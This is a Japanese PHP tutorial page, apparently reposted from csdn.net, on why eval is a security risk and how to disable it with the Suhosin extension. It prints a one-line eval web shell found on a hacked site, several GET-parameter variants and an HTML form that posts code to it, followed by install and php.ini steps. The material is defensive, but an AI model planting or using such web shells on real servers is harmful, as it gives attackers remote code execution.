ホームページ >バックエンド開発 >PHPの問題 >PHPでセキュリティリスクのあるevalを禁止する方法

PHPでセキュリティリスクのあるevalを禁止する方法

醉折花枝作酒筹
醉折花枝作酒筹転載
2021-07-21 16:05:342905ブラウズ

Web サイトがハッカーに攻撃される前に、PHP の eval 関数には大きなセキュリティ リスクがあることがわかりました。今回はevalを無効にする方法を紹介しますので、必要に応じて参考にしてください。

PHPでセキュリティリスクのあるevalを禁止する方法

しばらく前に、Web サイトがハッカーによって侵入されました。その後の調査中に、ほとんどコンテンツのない PHP が見つかりました:

<?php eval($_POST[asda123131323156341]);?>

そこで、PHP の eval 関数をオンラインで検索したところ、この eval 関数には大きなセキュリティ上のリスクがあることがわかりました。

ローカルでテストし、ローカル環境で php を記述します。内容は次のとおりです:

default.php:

<?php eval($_GET[asda]);?>

次に、localhost/test/default にアクセスします。 php?asda =phpinfo();

phpinfoが実行されたことがわかります。

または、localhost/test/default.php?asda = echo 11111 にアクセスすると、1111 がエコーアウトされていることもわかります。

同様のメソッドには次のようなものがあります:

<?php $code="${${eval($_GET[c])}}";?>

Visit localhost/test/default.php?c=phpinfo(); すると、

<?php
$code=addslashes($_GET[c]);
eval(""$code""); 
?>

Visit localhost/test/default が表示されます。 php?c= ${${phpinfo()}};

php を実行できる eval 関数を使用することがわかります。ハッカーはこれを使用して、php のアップロードなどのバックグラウンド トロイの木馬をアップロードし、その後 Access をアップロードすることができます。 URL 経由でこの PHP にアクセスして、より大きな権限を取得します。このタイプの侵入は、ワンセンテンス トロイの木馬と呼ばれます。例: 次のコンテンツを含む HTML を記述します:

<html> 
<body> 
<form action="default.php" method="post"> 
<input type="text" name="c" value="phpinfo();"> 
<input type="submit" value="submit"> 
</form> 
</body> 
</html>

次に、コンテンツを含むdefault.php を記述します: 5f557f62ae7ac7a14e0b1cb564790dfc

<?php eval($_POST[c]);?>

この場合、どんな php でも直接送信できます。実行したい場合は、それを実行するだけです。

つまり、eval() は PHP のセキュリティにとって大きな破壊力を持っています。eval 関数はアプリケーションのセキュリティを弱体化させます。そのため、通常は使用しない場合、次のようなトロイの木馬の侵入を防ぐために、禁止されます!

ただし、disable_functions を使用して eval を無効にするインターネット上の多くの方法は間違っています。

実際、php.ini で disable_functions を使用して eval() を無効にすることはできません。

eval() は言語構造体であり、関数ではないためです。

eval は zend です。したがって、これは PHP_FUNCTION 関数ではありません;

では、PHP はどのようにして eval を禁止するのでしょうか?

eval を無効にしたい場合は、php 拡張機能 Suhosin を使用できます。

Suhosin をインストールした後、php.ini に Suhosin.so をロードし、 suhosin.executor.disable_eval = on ! を追加します。

まとめ、phpではeval関数を無効にできないので、プラグインしか使えません!

eval 機能を無効にするために suhosin をインストールする手順は次のとおりです: (未テスト)

手順:

php インストール ディレクトリ:/usr/local/php5

php.ini 設定ファイルのパス:/usr/local/php5/etc/php.ini

Nginx インストール ディレクトリ:/usr/local/nginx

Nginx Web サイトのルート ディレクトリ:/ usr/local/nginx/html

1. コンパイル ツール

yum install wget  make gcc gcc-c++ zlib-devel openssl openssl-devel pcre-devel kernel keyutils  patch perl

をインストールします。2. suhosin

cd /usr/local/src   #进入软件包存放目录
wget  http://download.suhosin.org/suhosin-0.9.33.tgz    #下载
tar zxvf suhosin-0.9.33.tgz   #解压
cd suhosin-0.9.33   #进入安装目录
/usr/local/php5/bin/phpize   #用phpize生成configure配置文件
./configure  --with-php-config=/usr/local/php5/bin/php-config   #配置
make   #编译
make install   #安装
安装完成之后,出现下面的界面,记住以下路径,后面会用到。
Installing shared extensions: /usr/local/php5/lib/php/extensions/no-debug-non-zts-20090626/   #suhosin模块路径

をインストールします。3. suhosin

vi /usr/local/php5/etc/php.ini  
 #编辑配置文件,在最后一行添加以下内容 
extension=/usr/local/php5/lib/php/extensions/no-debug-non-zts-20090626/suhosin.so
suhosin.executor.disable_eval = on
## をサポートするように php を設定します。 #注意: suhosin .executor.disable_eval = on の機能は、eval 関数を無効にすることです

4, test

vi /usr/local/nginx/html/phpinfo.php #Edit

<?php
phpinfo();
?>

: wq! #保存して終了

service php-fpm restart #Restartphp-fpm

サービスnginxの再起動 #Restart nginx

注: Apache の場合も同様で、Apache を再起動するだけです。

下の図に示すように、ブラウザで phpinfo.php を開くと、suhosin 関連の情報が表示されます。

この時点で、suhosin のインストールは完了しています。 LinuxでのPHPが完成しました!

注: eval を無効にするとどのような結果になりますか?まず、コード内で eval を使用しているソフトウェアが使用できなくなり、有名な Discuz! Forum や PHPWind Forum が正常に使用できなくなり、phpMyAdmin の古いバージョンにも影響が及びます。最新の 3.2.5 に更新されており、使用できますが、デフォルトで利用可能です。警告プロンプトを表示するには、config.inc.php に $cfg['SuhosinDisableWarning']=true;

を追加します。この警告をキャンセルするには、

注: eval に加えて、assert も同様に使用されます。

推奨学習:

php ビデオ チュートリアル

以上がPHPでセキュリティリスクのあるevalを禁止する方法の詳細内容です。詳細については、PHP 中国語 Web サイトの他の関連記事を参照してください。

声明:
この記事はcsdn.netで複製されています。侵害がある場合は、admin@php.cn までご連絡ください。